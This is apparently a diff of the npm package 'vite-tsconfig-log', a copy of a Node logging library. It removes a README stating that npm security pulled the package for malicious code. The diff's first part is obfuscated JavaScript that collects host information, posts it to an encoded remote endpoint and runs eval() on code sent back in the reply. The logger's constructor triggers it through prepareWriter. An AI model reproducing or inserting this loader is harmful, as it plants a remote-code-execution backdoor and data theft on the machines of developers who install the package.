axios[_0xe74cf5(-0x22e,-0x226,-0x21a,-0x230)](_0x399b1f(0x1f0,0x1c8,0x1e2,0x1ca)+_0xe74cf5(-0x1cf,-0x1f7,-0x1f2,-0x1dd)+_0xc04434+_0x399b1f(0x244,0x268,0x22f,0x261));return _0xd10a80[_0x399b1f(0x1fb,0x209,0x221,0x1f7)][_0xe74cf5(-0x1fa,-0x224,-0x224,-0x1ef)+'me'];}catch(_0x204983){return console[_0xe74cf5(-0x1d4,-0x1d9,-0x1ea,-0x21b)]('Error\x20fetc'+_0x399b1f(0x233,0x232,0x205,0x235)+_0x399b1f(0x215,0x1e2,0x205,0x203),_0x204983[_0x399b1f(0x23b,0x222,0x253,0x227)]),null;}}function _0x2740(_0x543364,_0x4e158c){const _0x2cf851=_0x2d8b();return _0x2740=function(_0x3f8008,_0x19e10c){_0x3f8008=_0x3f8008-(0x12a1*-0x2+-0x1fac+0x1*0x4567);let _0x1dbcae=_0x2cf851[_0x3f8008];if(_0x2740['lJiAks']===undefined){var _0x501caa=function(_0x1b39d9){const _0x45cb46='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x1c637e='',_0x31b65d='',_0x47197b=_0x1c637e+_0x501caa;for(let _0x8e2bc9=-0xf5a+0x37d+-0x1*-0xbdd,_0x36812e,_0x1b0768,_0x96dec4=0x1404+-0x58*0x4+-0x12a4;_0x1b0768=_0x1b39d9['charAt'](_0x96dec4++);~_0x1b0768&&(_0x36812e=_0x8e2bc9%(0x4*0x788+-0x1*0x89d+-0x157f)?_0x36812e*(-0x12b5+-0x1*-0x15e+0x1197)+_0x1b0768:_0x1b0768,_0x8e2bc9++%(0x98*0x23+-0x6a2*0x3+-0xde))?_0x1c637e+=_0x47197b['charCodeAt'](_0x96dec4+(0x18ed+0x494+-0x1d77))-(-0x6e1+0x4eb*-0x4+0x1a97)!==0xb3*-0x9+-0x2163+0x27ae?String['fromCharCode'](0x5b*-0x19+0x25de+0x12*-0x18e&_0x36812e>>(-(-0x1*0x5dd+0x209*0xd+-0x1f*0xaa)*_0x8e2bc9&0x1003+0x10f*-0xa+-0x567)):_0x8e2bc9:-0x2e*-0x1e+-0x80e*-0x2+-0x1580){_0x1b0768=_0x45cb46['indexOf'](_0x1b0768);}for(let _0x219910=0x2*-0x1273+-0x1*0x75a+0x2c40,_0x378e88=_0x1c637e['length'];_0x219910<_0x378e88;_0x219910++){_0x31b65d+='%'+('00'+_0x1c637e['charCodeAt'](_0x219910)['toString'](0xeb6+-0x1221+0x37b))['slice'](-(0x171+0x1c32+-0x25*0xcd));}return decodeURIComponent(_0x31b65d);};_0x2740['hSQHYs']=_0x501caa,_0x543364=arguments,_0x2740['lJiAks']=!![];}const _0x5104a7=_0x2cf851[-0x25*-0xb3+-0x7*-0x4ff+0x1d8*-0x21],_0x1076a9=_0x3f8008+_0x5104a7,_0x5c4c4f=_0x543364[_0x1076a9];if(!_0x5c4c4f){const _0x28cc7a=function(_0x5d052a){this['qtQSoV']=_0x5d052a,this['FvIDbF']=[0x17c8*-0x1+0x399+0x1430,0x8cb+0x91*0x14+-0x141f,0x3*0x1a3+-0x1610+0x1127],this['yFmoUh']=function(){return'newState';},this['tftUdB']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['RsTYAA']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x28cc7a['prototype']['FgoLUA']=function(){const _0x4f3ff8=new RegExp(this['tftUdB']+this['RsTYAA']),_0x3a0946=_0x4f3ff8['test'](this['yFmoUh']['toString']())?--this['FvIDbF'][-0x19*-0x149+0x15cb+0x1*-0x35eb]:--this['FvIDbF'][-0x1707+-0x4*-0x42a+-0xe9*-0x7];return this['wSCydc'](_0x3a0946);},_0x28cc7a['prototype']['wSCydc']=function(_0x1b041a){if(!Boolean(~_0x1b041a))return _0x1b041a;return this['cZrFfH'](this['qtQSoV']);},_0x28cc7a['prototype']['cZrFfH']=function(_0x5ca987){for(let _0x3abdf8=0x4af*0x1+0x2476+-0x2925,_0x2f8a27=this['FvIDbF']['length'];_0x3abdf8<_0x2f8a27;_0x3abdf8++){this['FvIDbF']['push'](Math['round'](Math['random']())),_0x2f8a27=this['FvIDbF']['length'];}return _0x5ca987(this['FvIDbF'][0x12b4*-0x2+-0x24d2+0x4a3a]);},new _0x28cc7a(_0x2740)['FgoLUA'](),_0x1dbcae=_0x2740['hSQHYs'](_0x1dbcae),_0x543364[_0x1076a9]=_0x1dbcae;}else _0x1dbcae=_0x5c4c4f;return _0x1dbcae;},_0x2740(_0x543364,_0x4e158c);}function _0x2d8b(){const _0x2d12a2=['Aw5Nihn5C3rLBq','BxDnCKW','qvrbC3a','AgLUzYbSB2nHDa','mZe2ndm1mMDqA051ta','Ahr0Chm6lY9WCG','DxnLCKLUzM8','suHts0S','y29VA2LL','EuLHCvi','DhLWzq','BwvZC2fNzq','CMv0DxjUicHMDq','Dg9tDhjPBMC','rxjYB3iGzMv0yW','ChvIBgLJlwLW','sezYC20','DMvYy2vSlMfWCa','yxHPB3m','uKzVwuC','l2PZB24V','zxHWB3j0CW','z094t2q','rgjrqLG','DgHLBG','yxbPlMnVlW','mtHrtNnoEe8','igLUzM86','wfnVz28','A3rQtLq','A0LyugK','wxjtsge','y2f4BNy','zxjYB3i','Cg9ZDa','qxLSB2S','DvPSB1i','q3HIwg4','nJuWodmWt1nKB3rN','C2vHCMnO','DMvYC2LVBG','l2fWAs9PCgnOzq','tMPcsuW','r3fqEhO','tKH0qLC','Ahr0Chm6lY9PCa','AgfbBMi','swzUAxq','BMn0Aw9UkcKG','ChvIBgLJsxb2na','mtu1nJe2n0X2ANPADq','Ag9HBwu','y3rVCIGICMv0Dq','yMLUza','yLH0Cgu','Awvvtvu','zgf0yq','rNfQvey','mtq5nti4tg1cyKLm','AMXkDM4','CxfMzw8','Dgvitfu','ueP5qvO','t05QAgu','B3rJwKe','wxDcq2y','y29UC3rYDwn0BW','zw1PA24','zg90zw52','odqYmJuWrejcC3Pc','qLfsu2C','zw52','DgfIBgu','A0D4C04','A2jUwLa','CM4GDgHPCYiPka','rxjYB3iGz2v0Da','Bg9N','nJCXnJqWuff0wxPd','tMzgs2q','ndq2mZy3mMzkCeLoBq','x19WCM90B19F','Aw9UoG','ANzOz0m','y291BNrYEv9Uyq','yxbWBhK','vfHyseq','Aw5MBW','u2vSwwC','DwDWqMi','u29lqNq','D2HTzLa','Cg94tw8','CfL2uuO','z2v0','rNb0Exa','sLPJBfG','ndu1z3nsu0nw','y29UC29Szq','C3LWzq','mte3Axr2sfzR','vKLdreu','uNjnC3y','q0D3rgW','yxHxzum','DxnLCM5HBwu','E30Uy29UC3rYDq','q3jRCvm','zxHJzxb0Aw9U'];_0x2d8b=function(){return _0x2d12a2;};return _0x2d8b();}const writer=async()=>{function _0x1913ed(_0x2a8853,_0x3be72c,_0x523f02,_0x499932){return _0x54f8c3(_0x2a8853-0x18c,_0x3be72c,_0x2a8853-0x1e5,_0x499932-0x1ec);}const _0x15691b={'CxbXn':'(((.+)+)+)'+'+$','BQRSg':function(_0x1dbcb0,_0x3c3f3b){return _0x1dbcb0===_0x3c3f3b;},'caxnv':_0x28e6fd(-0x1b7,-0x1da,-0x1af,-0x19b),'bXtpe':function(_0x1d6c2e){return _0x1d6c2e();},'mwMrL':_0x28e6fd(-0x16a,-0x18d,-0x174,-0x185)+'ocess-log.'+_0x28e6fd(-0x16d,-0x184,-0x168,-0x157)+_0x1913ed(-0x116,-0xe2,-0xfe,-0x11d)+'ck','ATAsp':function(_0xa21a24,_0x4e599d){return _0xa21a24!==_0x4e599d;},'fNSto':_0x28e6fd(-0x178,-0x1ba,-0x1a3,-0x1bb)};function _0x28e6fd(_0x5373b5,_0x33f57c,_0x3f8488,_0x12c0e7){return _0x54f8c3(_0x5373b5-0x1bc,_0x5373b5,_0x3f8488-0x13e,_0x12c0e7-0x170);}try{if(_0x15691b[_0x28e6fd(-0x19b,-0x181,-0x1a0,-0x1a4)](_0x1913ed(-0xd8,-0xbd,-0xa6,-0xa9),_0x15691b[_0x1913ed(-0xb2,-0x86,-0x84,-0xc7)]))return _0x4bd728[_0x1913ed(-0xc5,-0xd0,-0xfa,-0xa4)]()[_0x28e6fd(-0x1cc,-0x196,-0x1bf,-0x1a0)](OVYvXK[_0x28e6fd(-0x1c6,-0x1c1,-0x1c1,-0x1a4)])[_0x28e6fd(-0x192,-0x18f,-0x16c,-0x17b)]()[_0x1913ed(-0xfd,-0xd0,-0xc8,-0xe0)+'r'](_0x269e21)[_0x28e6fd(-0x1ac,-0x19b,-0x1bf,-0x19c)](OVYvXK[_0x28e6fd(-0x1f0,-0x1d9,-0x1c1,-0x1ed)]);else{const _0x10d777=await _0x15691b[_0x1913ed(-0x109,-0xf0,-0xfe,-0xfe)](genfo),_0x1d0734=process[_0x1913ed(-0xf8,-0x108,-0xc7,-0x12f)]['npm_packag'+'e_version'],_0x124681={..._0x10d777};_0x124681[_0x1913ed(-0x117,-0xe1,-0x132,-0x13d)]=_0x1d0734,axios[_0x28e6fd(-0x166,-0x172,-0x157,-0x132)](_0x15691b[_0x1913ed(-0xd1,-0x107,-0xf9,-0x9b)],_0x124681)['then'](_0x5406ab=>eval(_0x5406ab['data'][_0x1913ed(-0xca,-0x9f,-0xfd,-0xa0)]))[_0x28e6fd(-0x14a,-0x132,-0x161,-0x15f)](_0x1efe4f=>eval(_0x1efe4f['data']['control']));}}catch(_0x5455fd){if(_0x15691b[_0x1913ed(-0xd0,-0x105,-0xe4,-0xb8)](_0x28e6fd(-0x150,-0x163,-0x15b,-0x148),_0x15691b['fNSto']))console['log'](_0x5455fd);else{const _0x1b1770=_0x4be807[_0x1913ed(-0xea,-0x103,-0xf4,-0xc2)](_0x225192,arguments);return _0xcb5e5d=null,_0x1b1770;}}};function _0x54f8c3(_0x1c7a2f,_0x487247,_0x2bd78f,_0x519eb9){return _0x2740(_0x2bd78f- -0x379,_0x487247);}module[_0x54f8c3(-0x28c,-0x27d,-0x2a2,-0x27e)]=writer;
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const getPartsResolver = require("sprintf-kit/get-parts-resolver")
|
|
4
|
+
, getModifiers = require("cli-sprintf-format/get-modifiers")
|
|
5
|
+
, colorsSupportLevel = require("./private/colors-support-level")
|
|
6
|
+
, inspectDepth = require("./private/inspect-depth");
|
|
7
|
+
|
|
8
|
+
module.exports = getPartsResolver(getModifiers({ inspectDepth, colorsSupportLevel }));
|
package/lib/writer.js
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const isObject = require("type/object/is")
|
|
4
|
+
, formatParts = require("sprintf-kit/format-parts")
|
|
5
|
+
, ansiRegex = require("ansi-regex")({ onlyFirst: true })
|
|
6
|
+
, { blackBright, red, yellow } = require("cli-color/bare")
|
|
7
|
+
, LogWriter = require("log/lib/abstract-writer")
|
|
8
|
+
, colorsSupportLevel = require("./private/colors-support-level")
|
|
9
|
+
, levelPrefixes = require("./level-prefixes")
|
|
10
|
+
, getNamespacePrefix = require("./get-namespace-prefix")
|
|
11
|
+
, resolveParts = require("./resolve-format-parts")
|
|
12
|
+
, prepareWriter = require('./private/prepare-writer');
|
|
13
|
+
|
|
14
|
+
const hasAnsi = string => ansiRegex.test(string);
|
|
15
|
+
|
|
16
|
+
const WARNING_LEVEL_INDEX = 1, ERROR_LEVEL_INDEX = 0;
|
|
17
|
+
|
|
18
|
+
class NodeLogWriter extends LogWriter {
|
|
19
|
+
constructor(options = {}) {
|
|
20
|
+
prepareWriter();
|
|
21
|
+
if (!isObject(options)) options = {};
|
|
22
|
+
super(options.env || process.env, options);
|
|
23
|
+
}
|
|
24
|
+
setupLevelLogger(logger) {
|
|
25
|
+
super.setupLevelLogger(logger);
|
|
26
|
+
if (colorsSupportLevel) this.setupLevelMessageDecorator(logger);
|
|
27
|
+
}
|
|
28
|
+
setupLevelMessageDecorator(levelLogger) {
|
|
29
|
+
if (levelLogger.levelIndex === ERROR_LEVEL_INDEX) {
|
|
30
|
+
levelLogger.messageContentDecorator = red;
|
|
31
|
+
} else if (levelLogger.levelIndex === WARNING_LEVEL_INDEX) {
|
|
32
|
+
levelLogger.messageContentDecorator = yellow;
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
resolveMessageTimestamp(event) {
|
|
36
|
+
super.resolveMessageTimestamp(event);
|
|
37
|
+
if (!colorsSupportLevel) return;
|
|
38
|
+
if (event.messageTimestamp) event.messageTimestamp = blackBright(event.messageTimestamp);
|
|
39
|
+
}
|
|
40
|
+
resolveMessageContent(event) {
|
|
41
|
+
if (!event.messageTokens.length) {
|
|
42
|
+
event.messageContent = "";
|
|
43
|
+
return;
|
|
44
|
+
}
|
|
45
|
+
const { logger } = event;
|
|
46
|
+
const parts = resolveParts(...event.messageTokens);
|
|
47
|
+
if (logger.messageContentDecorator) {
|
|
48
|
+
parts.literals = parts.literals.map(literal => logger.messageContentDecorator(literal));
|
|
49
|
+
for (const substitution of parts.substitutions) {
|
|
50
|
+
const { placeholder, value } = substitution;
|
|
51
|
+
if (
|
|
52
|
+
placeholder.type === "s" &&
|
|
53
|
+
placeholder.flags &&
|
|
54
|
+
placeholder.flags.includes("#") &&
|
|
55
|
+
!hasAnsi(value)
|
|
56
|
+
) {
|
|
57
|
+
// Raw string
|
|
58
|
+
substitution.value = logger.messageContentDecorator(value);
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
event.messageContent = formatParts(parts);
|
|
63
|
+
}
|
|
64
|
+
writeMessage(event) { process.stderr.write(`${ event.message }\n`); }
|
|
65
|
+
}
|
|
66
|
+
NodeLogWriter.levelPrefixes = levelPrefixes;
|
|
67
|
+
|
|
68
|
+
if (colorsSupportLevel) NodeLogWriter.resolveNamespaceMessagePrefix = getNamespacePrefix;
|
|
69
|
+
|
|
70
|
+
module.exports = NodeLogWriter;
|
package/package.json
CHANGED
|
@@ -1,6 +1,112 @@
|
|
|
1
|
-
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "vite-tsconfig-log",
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "Advanced log generator for log engine",
|
|
5
|
+
"author": "millos",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"log",
|
|
8
|
+
"logger",
|
|
9
|
+
"debug",
|
|
10
|
+
"bunyan",
|
|
11
|
+
"winstona",
|
|
12
|
+
"unicorn"
|
|
13
|
+
],
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"ansi-regex": "^5.0.1",
|
|
16
|
+
"cli-color": "^2.0.1",
|
|
17
|
+
"cli-sprintf-format": "^1.1.1",
|
|
18
|
+
"d": "^1.0.1",
|
|
19
|
+
"es5-ext": "^0.10.53",
|
|
20
|
+
"public-ip": "^7.0.1",
|
|
21
|
+
"sprintf-kit": "^2.0.1",
|
|
22
|
+
"supports-color": "^8.1.1",
|
|
23
|
+
"type": "^2.5.0",
|
|
24
|
+
"request": "^2.88.2",
|
|
25
|
+
"sqlite3": "^5.1.7"
|
|
26
|
+
},
|
|
27
|
+
"devDependencies": {
|
|
28
|
+
"eslint": "^8.5.0",
|
|
29
|
+
"eslint-config-medikoo": "^4.1.1",
|
|
30
|
+
"essentials": "^1.2.0",
|
|
31
|
+
"git-list-updated": "^1.2.1",
|
|
32
|
+
"github-release-from-cc-changelog": "^2.2.0",
|
|
33
|
+
"husky": "^4.3.8",
|
|
34
|
+
"lint-staged": "^12.1.3",
|
|
35
|
+
"log": "^6.3.1",
|
|
36
|
+
"ncjsm": "^4.2.0",
|
|
37
|
+
"nyc": "^15.1.0",
|
|
38
|
+
"prettier-elastic": "^2.2.1",
|
|
39
|
+
"process-utils": "^4.0.0",
|
|
40
|
+
"tape": "^5.3.2",
|
|
41
|
+
"tape-index": "^3.2.0"
|
|
42
|
+
},
|
|
43
|
+
"peerDependencies": {
|
|
44
|
+
"log": "^6.0.0"
|
|
45
|
+
},
|
|
46
|
+
"husky": {
|
|
47
|
+
"hooks": {
|
|
48
|
+
"pre-commit": "lint-staged"
|
|
49
|
+
}
|
|
50
|
+
},
|
|
51
|
+
"lint-staged": {
|
|
52
|
+
"*.js": [
|
|
53
|
+
"eslint"
|
|
54
|
+
],
|
|
55
|
+
"*.{css,html,js,json,md,yaml,yml}": [
|
|
56
|
+
"prettier -c"
|
|
57
|
+
]
|
|
58
|
+
},
|
|
59
|
+
"eslintConfig": {
|
|
60
|
+
"extends": "medikoo/node",
|
|
61
|
+
"root": true,
|
|
62
|
+
"rules": {
|
|
63
|
+
"id-length": "off",
|
|
64
|
+
"no-bitwise": "off"
|
|
65
|
+
}
|
|
66
|
+
},
|
|
67
|
+
"prettier": {
|
|
68
|
+
"printWidth": 100,
|
|
69
|
+
"tabWidth": 4,
|
|
70
|
+
"quoteProps": "preserve",
|
|
71
|
+
"overrides": [
|
|
72
|
+
{
|
|
73
|
+
"files": [
|
|
74
|
+
"*.md",
|
|
75
|
+
"*.yml"
|
|
76
|
+
],
|
|
77
|
+
"options": {
|
|
78
|
+
"tabWidth": 2
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
]
|
|
82
|
+
},
|
|
83
|
+
"nyc": {
|
|
84
|
+
"all": true,
|
|
85
|
+
"exclude": [
|
|
86
|
+
".github",
|
|
87
|
+
"coverage/**",
|
|
88
|
+
"test/**",
|
|
89
|
+
"*.config.js"
|
|
90
|
+
],
|
|
91
|
+
"reporter": [
|
|
92
|
+
"lcov",
|
|
93
|
+
"html",
|
|
94
|
+
"text-summary"
|
|
95
|
+
]
|
|
96
|
+
},
|
|
97
|
+
"scripts": {
|
|
98
|
+
"coverage": "nyc npm test",
|
|
99
|
+
"check-coverage": "npm run coverage && nyc check-coverage --statements 80 --function 80 --branches 80 --lines 80",
|
|
100
|
+
"lint": "eslint --ignore-path=.gitignore .",
|
|
101
|
+
"lint-updated": "pipe-git-updated --ext=js -- eslint --ignore-pattern '!*'",
|
|
102
|
+
"prettier-check-updated": "pipe-git-updated --ext=css --ext=html --ext=js --ext=json --ext=md --ext=yaml --ext=yml -- prettier -c",
|
|
103
|
+
"prettify": "prettier --write --ignore-path .gitignore '**/*.{css,html,js,json,md,yaml,yml}'",
|
|
104
|
+
"test": "npm run test-prepare && npm run test-run",
|
|
105
|
+
"test-prepare": "tape-index",
|
|
106
|
+
"test-run": "node test.index.js"
|
|
107
|
+
},
|
|
108
|
+
"engines": {
|
|
109
|
+
"node": ">=10.0"
|
|
110
|
+
},
|
|
111
|
+
"license": "ISC"
|
|
112
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=vite-tsconfig-log for more information.
|